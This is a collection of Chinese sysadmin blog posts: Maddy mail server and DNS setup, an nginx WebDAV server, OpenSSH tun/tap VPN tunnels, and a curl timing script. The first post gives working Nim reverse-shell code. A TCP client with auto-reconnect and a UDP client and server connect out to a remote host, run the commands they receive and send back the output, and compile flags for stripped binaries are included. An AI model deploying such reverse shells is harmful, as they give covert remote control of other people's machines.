在网上看到这个Nim语言，Python的语法，C的性能，还能跨平台，写了两个反弹shell玩了一下。一、tcp 反弹shell，代自动重连功能import net import osproc import os import strutils var ip = "server.nixops.me" var port = 4444 var args = commandLineParams() if args.len() == 2: ip = args[0] port = parseInt(args[1]) while true: var socket = newSocket() try: socket.connect(ip, Port(port)) while true: try: socket.send(system.hostOS & "_" & system.hostCPU & "> ") var command = socket.recvLine() var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon}) socket.send(result) except: socket.close() break except: sleep(10000) continue以上是被控端代码，控制端使用nc监听4444等待连接即可。二、udp反弹shell2.1 udp server控制端import os import strutils import netty var ip = "0.0.0.0" var port = 4444 var args = commandLineParams() if args.len() == 2: ip = args[0] port = parseInt(args[1]) var server = newReactor(ip, port) echo "Listenting for UDP on " & ip & ":" & intToStr(port) while true: server.tick() for connection in server.newConnections: echo "[new] ", connection.address for connection in server.deadConnections: echo "[dead] ", connection.address for msg in server.messages: echo ">>> Receive Client MESSAGE: <<<", msg.data echo msg.data echo ">>> Client MESSAGE Finished !<<<" for connection in server.connections: var cmd = readLine(stdin) if cmd.len > 0: server.send(connection, cmd) echo ">>> Success Send Command: " & cmd & " TO: ", connection.address2.2 udp 客户被控端import net import osproc import os import strutils import netty var ip = "server.nixops.me" var port = 4444 var args = commandLineParams() if args.len() == 2: ip = args[0] port = parseInt(args[1]) while true: var client = newReactor() var c2s = client.connect(ip, port) client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ") while true: try: client.tick() var command = "" for msg in client.messages: command.add(msg.data) if command.len > 0: var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon}) client.send(c2s,result) if client.deadConnections.len > 0 : client.disconnect(c2s) break except: sleep(10000) continue三、编译nim c -d:danger -d:strip --opt:size tcp.nim nim c -d:danger -d:strip --opt:size udpc.nim nim c -d:danger -d:strip --opt:size udps.nim四、总结Nim优点： 好学、高性能、静态类型、跨平台、编译速度快缺点也非常明显：生态比较差，标准库也不够完善，以上代码想用daemon方式运行就不行，标准库还没有实现
Maddy Mail Server 是一个 GO 语言开发的 ALL-IN-ONE 邮件系统，实现了 Mail Transfer agent (MTA), Mail Delivery Agent (MDA), Mail Submission Agent (MSA), IMAP server 等，说人话就是可以替换 Postfix、Dovecot、Opendkim、OpenSPF、OpenDmarc 等传统软件，主要功能是通过 SMTP 发送和接收邮件，通过 IMAP 实现客户端访问，也支持 DKIM、SPF、DMARC、DANE、MTA-STS 等邮件相关的安全和反垃圾协议。对比配置传统软件，即使是像 MailCow、Mail-in-a-Box 等基于 docker 的现成方案，安装、配置也足够简单、开箱即用，可以说是懒人必备。一、准备工作需要准备以下：域名 + nameserver开放25端口的服务器，最好可以做ip反解析干净的IP,可以通过 mxtoolbox 查询黑名单邮件软件 maddy二、安装及配置 Maddy mail server2.1 下载和安装建议使用 docker 安装 Maddy，安装和配置起来更简单。github release 中已经有编译好的各平台可执行文件， 也可以从 github 下载最新版解压使用：wget https://github.com/foxcpp/maddy/releases/download/v0.7.1/maddy-0.7.1-x86_64-linux-musl.tar.zstzst 后缀需要安装 zstd 进行解压：yum install zstd -y tar -I zstd -xvf maddy-0.7.1-x86_64-linux-musl.tar.zst解压之后的目录有5个文件，安装 Maddy：mv maddy maddyctl /usr/local/bin/ mkdir /etc/maddy && mv maddy.conf /etc/maddy/ mv systemd/*.service /usr/lib/systemd/system/ mv man/*.1 /usr/share/man/man1/ && mv man/*.5 /usr/share/man/man5/2.2 配置 maddy mail server2.2.1 添加用户官方不建议 root 权限运行，先添加一个不可登录的普通用户：useradd -mrU -s /sbin/nologin -c "maddy mail server" maddy添加完用户，设置一下相关的目录及文件的权限：chown -R maddy:maddy /usr/local/bin/maddy* /etc/maddy 2.2.2 更改配置文件默认配置文件在 /etc/maddy/maddy.conf ，里面已经有一个开箱即用的配置，只需修改几个参数即可使用。$(hostname) = mx1.opswill.com mx2.opswill.com $(primary_domain) = opswill.com $(local_domains) = $(primary_domain) other.domain.com tls file /etc/maddy/certs/$(hostname)/fullchain.pem /etc/maddy/certs/$(hostname)/privkey.pem state_dir /etc/maddy/state runtime_dir /etc/maddy/runtime log syslog /var/log/maddy.log按需修改以上内容即可，如果创建的普通用户未指定 home 目录，配置文件中的 state_dir、runtime_dir 需先创建目录并给权限。2.2.3 申请 ssl 证书SMTPs 和 IMAPs 服务需要 TLS 证书，建议使用 Let's Encrypt 的泛域名证书，具体申请方法就不介绍了。证书需放入 /etc/maddy/certs/$(hostname) 中，在配置文件中指定时，需先写公钥（.crt），在写私钥 (.key)证书需设置一下权限：sudo setfacl -R -m u:maddy:rX /etc/maddy/certs/2.2.4 创建用户maddy 使用虚拟用户，所以不像 postfix 和 dovecot 一样需要创建系统用户。maddy 需要创建登录账户和 IMAP 的本地存储账户，登录账户是 SMTP 和 IMAP 登录时的验证信息： maddyctl creds create will@opswill.com创建本地储存账户：maddyctl imap-acct create will@opswill.com查看是否创建成功：maddyctl creds list maddyctl imap-acct list2.3 启动服务以上全部做好后，即可启动服务：systemctl daemon-reload systemctl start maddy正常启动后，会开放以下端口：25 SMTP Transfer->Exchange ClearText465 SMTPs User->Submission TLS587 ESMTP User->Submission ClearText/STARTTLS143 IMAP Delivery->User ClearText993 IMAPs Delivery->User TLS防火墙放行：firewall-cmd --permanent --add-port={25/tcp,465/tcp,587/tcp,143/tcp,993/tcp} firewall-cmd --reload从外网 telnet 验证一下服务器公网 IP 是否开放以上端口。尤其需注意25端口是否能够访问服务器端就配置好了，可以用手机或 outlook 等客户端进行连接测试。接下来为了收发邮件，还需配置域名解析才行。三、域名解析配置无论邮箱系统用的什么软件，都绕不开邮件相关的域名解析，只要搞邮件就需配置以下域名解析：MX记录 ：域名系统基础记录，指向邮件服务器PTR记录 ：即IP反解析，根据IP反查域名，需供应商来做SPF记录 ：指定哪些服务器可以使用你的域名发送邮件DKIM记录 ：防止发送的电子邮件内容篡改DMARC记录 ：当SPF和DKIM验证失败时，指定接收方的处理策略并向指定邮箱报告3.1 MX 记录收发邮件时，mx 记录指定了自己的邮件服务器地址，可以设置优先级，建议2条以上 mx 记录域名 类型 值 优先级 opswill.com mx mx1.opswill.com 10 opswill.com mx mx2.opswill.com 20 设置对应MX子域名的记录：mx1.opswill.com A 1.1.1.1 mx2.opswill.com A 2.2.2.2设置好后使用dig命令验证一下：dig mx opswill.com @1.1.1.1 dig a mx1.opswill.com @1.1.1.1 dig a mx2.opswill.com @1.1.1.13.2 PTR 记录将域名映射到 IP 地址是正向解析，从 IP 地址到域名的映射就是反向解析，在公网上，反向解析无法由 DNS 提供，因为IP地址的管理权限属于运营商，所以需要向运营商申请添加反向解析，运营商通过 PTR（Pointer Record）记录将 IP 地址指向域名。邮件服务器IP不做PTR记录，发送邮件后会有很大概率被当成垃圾邮件。联系供应商加好后，可以用 dig 命令验证：dig -x 1.1.1.13.3 SPF 记录SPF 全名是发件人策略框架，主要作用是将发信的邮件服务器和发信域名进行绑定，防止伪造发件人。在SPF记录中使用 TXT 记录指定允许发信的服务器，当对方收到邮件后，系统会验证发信域名并读取SPF记录中的IP，验证是否一致后采取进一步动作。以谷歌SPF记录为例：# dig txt gmail.com gmail.com. 300 IN TXT "v=spf1 redirect=_spf.google.com" # dig txt _spf.google.com _spf.google.com. 300 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" # dig txt _netblocks.google.com _netblocks.google.com. 300 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"SPF记录以 v=spf1 开头，以 all 结尾，中间可以使用 ip4/ip6/a/mx/include/redirect 等关键字进行 ip 范围指定。SPF 记录的匹配机制会结合限定词来告诉服务器匹配记录时的动作。常见的限定词有：+ 放行，如果没有明确指定限定词，则为默认值。- 硬拒绝，直接拒绝来自未经授权主机的邮件。~ 软拒绝，邮件可被接受，也可被标记为垃圾邮件。? 中性，不考虑邮件是否被接受。个人邮件设置允许 mx 记录中的服务器发信即可，最终设置 SPF 记录为： opswill.com txt "v=spf1 mx -all"3.4 DKIM 记录DKIM 记录主要作用也是防止邮件被恶意篡改，保证邮件内容的完整性，使用的方式是与 SSL 类似，服务器产生一个公私钥对，私钥为每一封外发的邮件签名并在邮件头中插入 DKIM 签名（DKIM-Signature头），公钥则保存在域名的记录中，邮件接收方接收邮件时，通过 DNS 查询获得公钥，并使用公钥解密邮件签名， 从而验证邮件有效性和完整性。Maddy 第一次启动后已经自动生成 DKIM 私钥和需添加的 dns 记录，位置在 state dir（/etc/maddy/state）下的 /dkim_keys/_default.dns 中,添加 txt 记录：default._domainkey.opswill.com txt "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0...省略..."3.5 DMARC 记录DMARC 基于现有的 SPF 和 DKIM 协议，并声明对验证失败邮件的处理策略。邮件接收方接收邮件时，首先通过 DNS 获取 DMARC 记录，再对邮件来源进行 SPF 验证和 DKIM 验证，对验证失败的邮件根据 DMARC 记录进行处理，并将处理结果反馈给发送方。添加 DMARC 记录：_dmarc.opswill.com txt "v=DMARC1; p=quarantine; ruf=mailto:report@ipip.dev"p：reject 拒绝该邮件；none为不作处理；quarantine 标记为垃圾邮件。 ruf：检测到伪造邮件，接收方报告的邮箱地址3.6 MTA-STS 和 TLS 报告MTA-STS 是 MTA 严格传输安全协议，作用是确保发送给我们的电子邮件通过 TLS 安全地传输，防止中间人攻击。启用 MTA-STS 后，发送方邮件服务器只有在满足以下条件时，才会向我们发送邮件：使用有效的证书通过身份验证使用 TLS 1.2 或更高版本进行加密当然如果发送方不支持 MTA-STS，仍然可以发送邮件（可能会有中间人攻击）,主要是为了兼容。启用 MTA-STS 所需条件：创建策略文件，并提供HTTPS方式访问通过DNS 设置txt记录，告诉其它邮件服务商支持MTA-STS3.6.1 创建策略文件策略文件 mta-sts.txt 的内容为：version: STSv1 mode: enforce mx: mx1.opswill.com mx: mx2.opswill.com max_age: 86400创建子域名并启用 https ,最终的访问路径为：https://mta-sts.opswill.com/.well-known/mta-sts.txt3.6.2 配置 MTA-STS 的TXT记录_mta-sts.opswill.com TXT “v=STSv1; id=20211031T010101;"一般id为时间戳3.6.3 启用 TLS 报告和 DMARC 记录类似，启用 TLS 报告可以接受外部邮件服务器会发送以下内容：检测到的 MTA-STS 政策、流量统计信息、失败的连接以及无法发送的邮件等详细信息。添加以下 txt 记录：_smtp._tls.opswill.com TXT "v=TLSRPTv1;rua=mailto:sts-reports@opswill.com"3.7 DNSSEC、DANE 及 CAA启用了 MTA-STS 后，DANE 可以确保 TLS 证书是有效的，实际上是通过DNS的方式扮演了 CA 的角色。 DANE 通过 TLSA 记录，来声明某个证书的是可信的，由于 DANE 是基于 DNS 协议，可能会有被挟持的可能，因此需要启用 DNSSEC 来保障传输过程中不被修改。启用 DNSSEC 需域名注册商及 dns 服务商都支持，在 DNS 服务商处选择开启 DNSSEC ，然后将提供的 DS 记录填写到域名注册商即可使用 TLSA证书生成工具 及 PEM 格式的 TLS 证书生成 TLSA 记录使用 CAA Record Helper生成的 CAA 记录为了保障 TLS 证书安全：DNSSEC 保障 DNS 记录传输过程中的安全DANE 在客户端侧阻止不当签发的证书CAA 指定域名允许哪个证书颁发机构为其颁发证书此步为加强安全性，有能力推荐启用配置四、邮件通知到 Telegram在 maddy.conf 中，找到 storage.imapsql local_mailboxes，添加一个 imap_filter :storage.imapsql local_mailboxes { driver sqlite3 dsn imapsql.db imap_filter { command /data/script/notice.sh {sender} {original_rcpt_to} {subject} } }邮件通知的脚本内容： #!/bin/bash logfile=/data/log/notice.log echo -e "\n$(date "+%Y-%m-%dT%H:%M:%S") starting sending tg notice with args: $@" >>$logfile input="$3" if ! command -v curl &> /dev/null; then if ! apk add curl; then exit 1 fi fi #bash判断是否为 Base64 编码 if "$input" =~ =\?utf-8\?B\?(.*)\?= ; then encoded=${BASH_REMATCH[1]} sub=$(echo "$encoded" | base64 -d) else sub=$input fi MailMsg="New Mail From $1 To $2, Subject: $sub" curl -s -X POST "https://api.telegram.org/botIDxxxx:botSECRETxxxx/sendMessage" -d "chat_id=185854188&text=$MailMsg" >>$logfile echo -e "\n$(date "+%Y-%m-%dT%H:%M:%S") tg notice has sent" >>$logfile 五、总结邮箱服务不只是系统配置烦琐、反垃圾、安全相关、及域名解析等的都很麻烦，如果使用传统的软件，其实不是很适合新手。虽然有一些基于 docker 或者脚本的现成方案，但真部署和调试起来也不容易。对比传统软件 Maddy mail server 安装和配置都足够简单，满足一个现代安全邮箱所需的功能，也有一定的扩展性，虽然比较新还不够成熟，但对个人友好，适合懒人党对可靠性要求不高的情况。参考链接及有用的工具：https://mxtoolbox.com/https://www.mail-tester.com/https://aykevl.nl/apps/mta-sts/https://support.google.com/a/answer/10683907https://support.google.com/a/answer/2466563?hl=zh-Hanshttps://service.mail.qq.com/cgi-bin/help?id=16
webdav可以通过HTTP协议对 Web 服务器进行文件读写，并支持文件的版本控制和写文件的加锁及解锁等操作，各平台都有客户端，支持的软件也多，对于没有复杂需求的跨平台网盘，是一个不错的选择。一、所需模块ngx_http_dav_module： nginx自带模块，默认未启用，支持webdav的PUT、DELETE、 MKCOL、COPY、MOVE等基础的方法nginx-dav-ext-module： 提供了额外的PROPFIND、OPTIONS、LOCK、UNLOCK方法支持headers-more-nginx-module： IOS、windows等默认客户端使用COPY、MOVE等方法时，$http_destination中的URI没有带上"/",导致出现无法删除、重命名文件或文件夹等错误，该模块可以修复该错误，兼容更多的客户端ngx_http_auth_basic_module：提供基础的用户验证二、安装依赖及编译我用的是openresty,默认已经编译了headers-more-nginx-module，nginx默认就已经启用了ngx_http_auth_basic_module，所以编译时只需在原参数后启用http_dav_module及nginx-dav-ext-module及可，先解决openresty和nginx-dav-ext-module模块的依赖关系。2.1 安装nginx-dav-ext-module 的依赖dnf install libxml2 libxslt2.2 安装 openresty 相关依赖dnf install pcre-devel zlib-devel openssl-devel gcc gcc-c++ make 2.3 下载 openresty 和 nginx-dav-ext-modulewget https://openresty.org/download/openresty-1.19.9.1.tar.gz git clone https://github.com/arut/nginx-dav-ext-module2.4 编译 openresty在原有的编译参数后启用 dav 相关的模块：./configure --prefix=/opt/openresty/ --with-threads --with-http_ssl_module \ --with-http_v2_module --with-http_realip_module --with-http_addition_module \ --with-http_gunzip_module --with-http_gzip_static_module --with-http_auth_request_module \ --with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module\ --with-http_slice_module --with-http_stub_status_module --with-stream --with-stream_ssl_module\ --with-stream_ssl_preread_module --with-http_flv_module --with-http_mp4_module \ --with-http_sub_module --with-http_slice_module --with-http_stub_status_module \ --with-http_dav_module --add-module=../nginx-dav-ext-module/三、配置nginx的dav模块3.1 nginx配置文件#在 http 段加入,mac 客户端需要启用锁支持 dav_ext_lock_zone zone=webdav:10m; server { listen 80; listen 443 ssl http2; server_name dav.nixops.me ; access_log logs/dav_access.log main; error_log logs/dav_error.log; ssl_certificate "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.crt"; ssl_certificate_key "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.key"; location / { #设置webdav目录，注意Nginx worker用户对该目录需有读写权限 root /opt/webdav; auth_basic "Private Site"; auth_basic_user_file /opt/openresty/nginx/conf/vhosts/dav.pass; charset utf-8; autoindex on; autoindex_localtime on; autoindex_exact_size off; #不限制文件大小 client_max_body_size 0; #启用完整的创建目录支持，默认情况下，Put 方法只能在已存在的目录里创建文件 create_full_put_path on; dav_access user:rw group:rw all:r; #为各种方法的URI后加上斜杠，解决各平台webdav客户端的兼容性问题 set $dest $http_destination; if (-d $request_filename) { rewrite ^(.*[^/])$ $1/; set $dest $dest/; } if ($request_method ~ (MOVE|COPY)) { more_set_input_headers 'Destination: $dest'; } if ($request_method ~ MKCOL) { rewrite ^(.*[^/])$ $1/ break; } #支持所有方法 dav_methods PUT DELETE MKCOL COPY MOVE; dav_ext_methods PROPFIND OPTIONS LOCK UNLOCK; dav_ext_lock zone=webdav; } } 3.2 设置webdav用户和密码有两种方式,第一种使用openssl：printf "nixops:$(openssl passwd -crypt nixops.me)\n" >>/opt/openresty/nginx/conf/vhosts/dav.pass第二种使用htpasswd命令，需要安装httpd-tools工具：htpasswd -b -c /opt/openresty/nginx/conf/vhosts/dav.pass nixops nixops.me经过以上配置，webdav就可以完美兼容mac、IOS(documents app)、windows及linux客户端了四、测试mac、IOS(documents app)、windows及linux客户端下连接webdav的方法就不介绍了。只说一下使用curl命令的测试方法，方便在shell脚本中使用webdav。webdav支持以下方法：OPTIONS ： 检索服务GET ：获取文件PUT、POST ： 上传文件DELETE ： 删除文件或集合COPY ： 复制文件MOVE ： 移动文件MKCOL ： 创建由一个或多个文件 URI 组成的新集合PROPFIND ： 获取属性（创建日期、文件作者等），实现文件的查找与管理LOCK、UNLOCK ： 添加、删除文件锁，实现写操作保护使用curl 测试时，URI后面一定要带'/',不然就会报错创建目录：curl -X MKCOL -u USER:PASSWORD https://dav.nixops.me/test/ 上传文件：curl -T FILE -u USER:PASSWORD https://dav.nixops.me/test/改名：curl -X MOVE -u USER:PASSWORD --header 'Destination:https://dav.nixops.me/test/newname' https://dav.nixops.me/test/File 删除：curl -X DELETE -u USER:PASSWORD https://dav.nixops.me/test/File 五、其它的一些设置Mac挂载webdav后会自动写入很多文件，可以通过nginx配置屏蔽掉，保持webdav目录的干净location ~ \.(_.*|DS_Store|Spotlight-V100|TemporaryItems|Trashes|hidden|localized)$ { access_log off; error_log off; if ($request_method = PUT) { return 403; } return 404; } location ~ \.metadata_never_index$ { return 200 "Don't index this drive, Finder!"; }参考文章：http://www.weixueyuan.net/a/738.htmlhttps://www.robpeck.com/2020/06/making-webdav-actually-work-on-nginx/
OpenSSH 可以使用tun/tap设备来创建一个加密隧道，SSH隧道类似mode TCP模式下的OpenVPN，对于有需求快速设置一个基于IP的VPN来说非常方便。使用SSH隧道的优点：不需要安装和配置额外的软件使用SSH认证并自带加密，不需要使其它VPN软件一样配置共享密钥或者证书兼容性强，可以建立二层隧道或三层隧道，所有3/4层协议如：ICMP、TCP/UDP 等都可支持配置过程简单当然也有缺点：基于TCP协议，其传输效率较低隧道依赖于单个TCP连接，容易中断或假死需要ROOT权限这里还要说明一下二层和三层的区别：layer 2 : 交换单元是帧，只识别MAC地址，只有交换功能，相关协议：Ethernet、VLAN、STP、PPP、FDDI、ARP（OSI模型）、MPLS（介于2层3层之间）等，在Linux中是虚拟点对点设备，显示为taplayer 3 : 交换单元是包，能识别MAC地址和IP，有交换和路由功能，相关协议：IP、ICMP、IGMP、IPsec等，在Linux中是虚拟以太网设备，显示tun在Linux中tun/tap都可以设置IP，只是模拟的工作层有区别，tun是模拟三层网络设备，收发的是IP包，无法处理以太网数据帧。tap模拟的是二层设备，收发的是以为网数据帧，更接近物理网卡，可以和物理网卡通过网桥绑定。我们日常用的wmware虚拟机中的nat网络，对应的就是tun，桥接网络对应的就是tap。一、ssh server端配置首先要使用ssh的二层和三层隧道，尽量保证系统差别不要太大，我这里两边都是oracle linux 8，SSH版本更新到最新。server端需要允许root登录和隧道，编辑/etc/ssh/sshd_config：PermitRootLogin yes PermitTunnel yes #建议添加 TCPKeepAlive yesPermitTunnel yes代表允许point-to-point (layer 3)和ethernet (layer 2)二、三层隧道配置2.1 建立三层隧道在client端执行：ssh -w any:any root@[server_ip] 如果客户端和服务器端没有其它的tun设备，就会在客户端和服务器端各生成一个名为tun0设备，指定any可以自动分配可用的设备。查看设备：[root@centos8 ~]# ip addr 3: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500 link/none 可以看到有个tun0 <POINTOPOINT,MULTICAST,NOARP>，这个设备是未激活的状态，如果用ifconfig命令查看，需要加上-a参数才能看到。为安全起见，建议使用以下命令：ssh -NTCf -w 5:5 root@[server_ip]“-N”：不执行远程命令“-T”：不分配终端“-C”：压缩传输的流量“-f”：在客户端后台运行执行完该命令client和server各自会创建一个tun5的点对点设备，下一步就是需要激活设备并分配IP。2.2 分配IP并激活隧道分配IP不要与服务器和客户端网段有冲突，这里假设：客户端IP：10.0.0.2 tun5服务器IP：10.0.0.1 tun5服务器激活点对点设备并分配IP和路由：ip link set tun5 up ip addr add 10.0.0.1/32 peer 10.0.0.2 dev tun5客户端同理：ip link set tun5 up ip addr add 10.0.0.2/32 peer 10.0.0.1 dev tun5这时隧道已经建立成功，此时用查看一下状态：[root@centos8 ~]# ip addr 14: tun5: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500 link/none inet 10.0.0.1 peer 10.0.0.2/32 scope global tun5可以看到比之前多了“UP,LOWER_UP”，说明已经激活。正常情况下客户端和服务器已经可以相互ping。客户端用一条命令也能搞定：ssh \ -o PermitLocalCommand=yes \ -o LocalCommand="ip link set tun5 up && ip addr add 10.0.0.2/32 peer 10.0.0.1 dev tun5 " \ -o TCPKeepAlive=yes \ -w 5:5 root@[server_ip] \ 'ip link set tun5 up && ip addr add 10.0.0.1/32 peer 10.0.0.2 dev tun5' 2.3 添加其它网段的路由如果服务器端有其它内网段，需要继续添加客户端路由才能ping通，例如，客户端想与服务器端网段10.0.12.0/24互通，需在客户端执行：ip route add 10.0.12.0/24 dev tun5按需添加即可，更改路由是高风险操作，需要格外小心，同时也要确保ssh连接不要中断。三、二层隧道配置由于linux中允许为tap设备设置ip，所以二层隧道和三层隧道也可以完全一样的进行配置。区别是tap设备可以和物理网卡进行绑定，也就是桥接，同时由于工作在二层，允许Arp通过，能支持STP生成树、PPP等协议。3.1 建立二层隧道在客户端执行：ssh -o Tunnel=ethernet -w 6:6 root@[server_ip] 这里参数 -o 需要在 -w 前面，查看一下客户端和服务器的网卡：[root@centos8 ~]# ip addr 20: tap6: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000在ip命令中 tap6: <BROADCAST,MULTICAST>，和物理网卡显示的一样，说明模拟的是物理网卡。3.2 创建并配置网桥二层可以进行网卡桥接，桥接可以多块网卡，也可以一块网卡，这里测试为了省事只用一块网卡，创建网桥有三种工具：使用bridge-utils中的brctl命令使用oracle linux 8 系列自带的nmcli使用ip命令建议用ip命令建立：ip link add br0 type bridge将tap6加入网桥：ip link set tap6 master br0配置服务器端网桥IP信息并启动网桥：ip address add 10.0.0.1/32 dev br0 ip link set tap6 up ip link set br0 up客户端流程一样，只是客户端的ip是10.0.0.2在客户端测试ARP包能不能通过：[root@oracle8 ~]# arping -I br0 10.0.0.1 ARPING 10.0.0.1 from 10.0.0.2 br0 Unicast reply from 10.0.0.1 [3A:E7:2F:3F:42:24] 193.222ms Unicast reply from 10.0.0.1 [3A:E7:2F:3F:42:24] 191.903ms如果是三层隧道，就无法使用arping。看似很多内容，其实使用很简单，OpenSSH套件功能真强大。参考文章https://help.ubuntu.com/community/SSH_VPNhttps://www.cyberciti.biz/faq/centos-8-add-network-bridge-br0-with-nmcli-command/https://gobomb.github.io/post/build-l2-l3-vpn-by-openssh/
通常HTTP的性能分析是通过浏览器的开发者工具进行查看，但这种方式只能通过图形页面进行查看。如果想做性能监控或者在命令行下分析，可以通过curl命令来统计各阶段的耗时。我们先来看看一个HTTP请求的过程：(图片来自cloudflare)每次http请求经过这些过程： 客户端发起请求-->DNS解析-->TCP连接-->SSL等协议握手-->服务器处理-->内容传输-->完成查看curl 命令的手册，curl命令支持以下阶段的时间统计：time_namelookup : 从请求开始到DNS解析完成的耗时time_connect : 从请求开始到TCP三次握手完成耗时time_appconnect : 从请求开始到TLS握手完成的耗时time_pretransfer : 从请求开始到向服务器发送第一个GET请求开始之前的耗时time_redirect : 重定向时间，包括到内容传输前的重定向的DNS解析、TCP连接、内容传输等时间time_starttransfer : 从请求开始到内容传输前的时间time_total : 从请求开始到完成的总耗时我们常关注的HTTP性能指标有：DNS请求耗时 ： 域名的NS及本地使用DNS的解析速度TCP建立耗时 ： 服务器网络层面的速度SSL握手耗时 ： 服务器处理HTTPS等协议的速度服务器处理请求时间 ： 服务器处理HTTP请求的速度TTFB ： 服务器从接收请求到开始到收到第一个字节的耗时服务器响应耗时 ：服务器响应第一个字节到全部传输完成耗时请求完成总耗时注意： 如果想分析HTTP性能的瓶颈，不建议使用带有重定向的请求进行分析，重定向会导致建立多次TCP连接或多次HTTP请求，多次请求的数据混在一起，数据不够直观，因此 time_redirect 对实际分析意义不大。其中的运算关系：DNS请求耗时 = time_namelookupTCP三次握手耗时 = time_connect - time_namelookupSSL握手耗时 = time_appconnect - time_connect服务器处理请求耗时 = time_starttransfer - time_pretransferTTFB耗时 = time_starttransfer - time_appconnect服务器传输耗时 = time_total - time_starttransfer总耗时 = time_total用curl命令统计以上时间：curl -w '\ntime_namelookup=%{time_namelookup}\ntime_connect=%{time_connect}\ntime_appconnect=%{time_appconnect}\ntime_redirect=%{time_redirect}\ntime_pretransfer=%{time_pretransfer}\ntime_starttransfer=%{time_starttransfer}\ntime_total=%{time_total}\n\n' -o /dev/null -s -L 'https://www.nixops.me/'以上内容不够直观，curl -w参数支持模板，新建一个文件timing.txt,内容如下：time_namelookup=%{time_namelookup}\n time_connect=%{time_connect}\n time_appconnect=%{time_appconnect}\n time_redirect=%{time_redirect}\n time_pretransfer=%{time_pretransfer}\n time_starttransfer=%{time_starttransfer}\n time_total=%{time_total}\n使用模板在执行一次：curl -w "@timing.txt" -o /dev/null -s -L 'https://www.nixops.me/'将上述功能生成脚本stat.sh#!/bin/bash #author : will #website: https://www.nixops.me Default_URL=https://www.nixops.me URL=${1:-$Default_URL} Result=`curl -o /dev/null -s $URL \ -w \ 'time_namelookup=%{time_namelookup} time_connect=%{time_connect} time_appconnect=%{time_appconnect} time_redirect=%{time_redirect} time_pretransfer=%{time_pretransfer} time_starttransfer=%{time_starttransfer} time_total=%{time_total} '` declare $Result curl_timing(){ printf "\e[92mcURL Timing: \e[0m\n" for i in $Result do IFS='=' printf "\e[96m%18s \e[0m: %10s \n" $i done } stat_timing(){ Result_TCP=`printf "%.6f" $(echo $time_connect - $time_namelookup |bc -l)` Result_TLS=`printf "%.6f" $(echo $time_appconnect - $time_connect |bc -l)` Result_Server=`printf "%.6f" $(echo $time_starttransfer - $time_pretransfer |bc -l)` Result_TTFB=`printf "%.6f" $(echo $time_starttransfer - $time_appconnect |bc -l)` Result_Transfer=`printf "%.6f" $(echo $time_total - $time_starttransfer |bc -l)` printf "\n\e[92mResource Timing: \e[0m\n" printf "\e[96m%18s \e[0m: %.6f \n" "DNS Lookup" $time_namelookup printf "\e[96m%18s \e[0m: %.6f \n" "TCP Connection" $Result_TCP if [ `echo "$time_appconnect == 0"|bc` -eq 0 ] then printf "\e[96m%18s \e[0m: %.6f \n" "TLS Handshake" $Result_TLS fi printf "\e[96m%18s \e[0m: %.6f \n" "Server Processing" $Result_Server printf "\e[96m%18s \e[0m: %.6f \n" "TTFB" $Result_TTFB printf "\e[96m%18s \e[0m: %.6f \n" "Content Transfer" $Result_Transfer printf "\e[96m%18s \e[0m: %.6f \n" "Finish" $time_total } curl_timing stat_timing 执行一下：# ./stat.sh https://www.baidu.com cURL Timing: time_namelookup : 0.004087 time_connect : 0.006480 time_appconnect : 0.022001 time_redirect : 0.000000 time_pretransfer : 0.022026 time_starttransfer : 0.025635 time_total : 0.025658 Resource Timing: DNS Lookup : 0.004087 TCP Connection : 0.002393 TLS Handshake : 0.015521 Server Processing : 0.003609 TTFB : 0.003634 Content Transfer : 0.000023 Finish : 0.025658 从上述结果，就可以直观的分析出http各阶段的耗时，方便我们进行性能瓶颈。参考文章：https://cizixs.com/2017/04/11/use-curl-to-analyze-request/https://blog.cloudflare.com/a-question-of-timing/https://curl.se/docs/manpage.htmlhttps://github.com/reorx/httpstat